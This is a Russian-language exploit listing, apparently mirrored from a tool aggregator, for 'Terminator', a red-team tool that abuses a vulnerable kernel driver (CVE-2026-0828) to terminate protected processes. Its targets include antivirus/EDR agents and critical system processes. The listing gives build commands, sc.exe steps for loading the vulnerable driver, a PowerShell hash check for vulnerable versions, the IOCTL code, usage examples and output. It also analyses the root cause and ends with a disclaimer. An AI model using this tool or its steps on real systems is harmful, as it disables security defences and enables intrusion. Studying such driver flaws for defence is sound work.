## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HIKA-SEC-TERMINATOR_KILLER
# Terminator - убийца процессов Red Team
Инструмент завершения процессов в режиме ядра, использующий уязвимый драйвер (CVE-2026-0828) для остановки защищённых процессов из пользовательского режима.
## Компиляция
Требуется MinGW-w64 (GCC) в Windows. Скомпилируйте с помощью:
root@kitploit:~
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
Описание флагов:
Флаг| Назначение
---|---
`--%`| Токен PowerShell для остановки разбора (передаёт аргументы в g++ как есть)
`-Oz`| Оптимизация для минимального размера
`-ffunction-sections` / `-fdata-sections`| Размещает каждую функцию/данные в отдельной секции
`-static` / `-static-libgcc` / `-static-libstdc++`| Статическая компоновка (без зависимостей от DLL времени выполнения)
`-Wl,--gc-sections`| Компоновщик удаляет неиспользуемые секции
`-W`| Включить предупреждения
Результат: автономный `terminator.exe` (~20-30 КБ, без отладочных символов).
## Техническая суть
Этот проект демонстрирует эксплуатацию уязвимого драйвера ядра (`STProcessMonitorDriver`), который предоставляет невалидированный обработчик `IOCTL_KILL_PROCESS`, позволяющий завершать произвольные процессы независимо от привилегий или механизмов защиты (PPL, флаги EPROCESS и т. д.).
### Разбор архитектуры
Компонент| Назначение
---|---
`terminator.cpp`| Пользовательский клиент, который перечисляет процессы и отправляет IOCTL-запросы на завершение
`terminator.hpp`| Интерфейс класса для перечисления и завершения процессов
`ProcessMonitorDriver.sys`| Уязвимый драйвер ядра (внешний, не включён в комплект)
### Анализ кода
**`Terminator::GetProcessPids()`**
* Создаёт снимок через `CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)`
* Перебирает все процессы с помощью `Process32First`/`Process32Next`
* Выполняет поиск без учёта регистра по целевым именам процессов
* Возвращает вектор совпавших PID
**`Terminator::ProcessKill()`**
* Открывает дескриптор `\\.\STProcessMonitorDriver`
* Входит в бесконечный цикл мониторинга (интервал 500 мс)
* Для каждого обнаруженного PID отправляет `IOCTL_KILL_PROCESS (0xB822200C)` с 8-байтным буфером PID
* Нет вывода, когда процессы не найдены; журналирует только попытки завершения
## Руководство по использованию
### Предварительные требования
Загрузите уязвимый драйвер (требуются права администратора):
root@kitploit:~
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
### Эксплуатация существующей службы
Если уязвимая версия `ProcessMonitorDriver.sys` уже установлена и работает как служба (например, от легитимного приложения), Terminator может подключиться напрямую без загрузки нового драйвера.
**Проверьте, существует ли служба и запущена ли она:**
root@kitploit:~
sc.exe query STProcessMonitor
**Проверьте, уязвима ли версия драйвера (PowerShell):**
root@kitploit:~
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
Если служба существует, находится в состоянии `RUNNING` и использует уязвимую версию, пропустите шаги загрузки драйвера и запустите Terminator напрямую.
### Затронутые версии (протестировано)
Версия| SHA-256
---|---
11.11.4.0| `70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b`
10.5.75.0| `85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786`
Другие версии также могут быть затронуты; перед использованием проверьте обработчик IOCTL драйвера.
### Запуск Terminator
root@kitploit:~
terminator.exe -proc <process_name1> [process_name2] ...
Пример:
root@kitploit:~
terminator.exe -proc notepad.exe calc.exe
### Вывод
root@kitploit:~
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
## Анализ CVE-2026-0828
**Уязвимость** : драйвер `STProcessMonitorDriver` регистрирует обработчик IOCTL (`0xB822200C`), который:
1. Принимает переданный пользователем 64-битный PID в качестве входного буфера
2. Не выполняет **никакой проверки** значения PID
3. Напрямую вызывает `PsLookupProcessByProcessId` → `ZwTerminateProcess`
4. Выполняется в контексте ядра (токен `SYSTEM`), обходя все ACL пользовательского режима
**Воздействие** : любой пользователь без прав администратора, имеющий доступ к драйверу, может завершить:
* Защищённые процессы (PPL)
* Агенты антивирусов/EDR
* Критические системные процессы (csrss, winlogon и т. д.)
* Процессы, требующие наличия привилегии `SeDebugPrivilege`
**Корневая причина** : отсутствует проверка `ObReferenceObjectByHandle`, нет вызова `SeSinglePrivilegeCheck(SeDebugPrivilege)` и нет проверок доступа к объекту процесса.
## Отказ от ответственности
> **Этот инструмент предназначен только для санкционированных исследований безопасности и учений Red Team.**
>
> Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Автор не несёт ответственности за неправомерное использование. Перед развёртыванием в любой среде убедитесь, что у вас есть письменное разрешение.
>
> Уязвимый драйвер (`ProcessMonitorDriver.sys`) намеренно содержит дефекты для демонстрационных целей и **никогда** не должен разворачиваться в производственной среде.